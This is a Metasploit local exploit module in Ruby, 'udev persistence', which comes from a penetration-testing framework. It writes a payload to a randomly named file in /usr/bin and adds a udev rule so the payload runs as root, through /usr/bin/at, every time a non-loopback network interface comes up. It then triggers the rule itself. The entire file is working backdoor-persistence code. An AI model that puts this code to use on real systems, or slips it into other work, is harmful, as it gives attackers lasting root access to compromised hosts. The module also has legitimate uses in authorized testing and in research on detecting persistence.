##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'udev persistence',
        'Description' => %q{
          This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
          It'll be executed with root privileges everytime a network interface other than l0 comes up.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Julien Voisin'
        ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => ARCH_CMD,
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DefaultOptions' => { 'WfsDelay' => 90_000 },
        'Targets' => [ ['Automatic', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '1999-01-01',
        'Passive' => true,
        'Stance' => Msf::Exploit::Stance::Passive,
        'Notes' => {
          'Stability' => [],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        },
        'References' => [
          ['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
          ['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
        ]
      )
    )
    register_options([

      OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
      OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
    ])
  end

  def get_command
    unless executable? '/usr/bin/at'
      fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
    end
    %(/usr/bin/at -M -f #{@payload_path} now)
  end

  def exploit
    @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']

    @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']

    unless writable? File.dirname(@backdoor_path)
      fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
    end

    if exists? @backdoor_path
      fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
    end

    unless writable? File.dirname(@payload_path)
      fail_with Failure::BadConfig, "#{@payload_path} is not writable"
    end

    if exists? @payload_path
      fail_with Failure::BadConfig, "#{@payload_path} is already present"
    end

    upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
    print_status "#{@payload_path} written"

    fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))

    print_status "#{@backdoor_path} written"

    # need to trigger first rule manually
    print_status 'Triggering udev rule'
    cmd_exec('udevadm trigger -v --subsystem-match=net')

    stime = Time.now.to_f
    timeout = datastore['ListenerTimeout'].to_i
    loop do
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end
end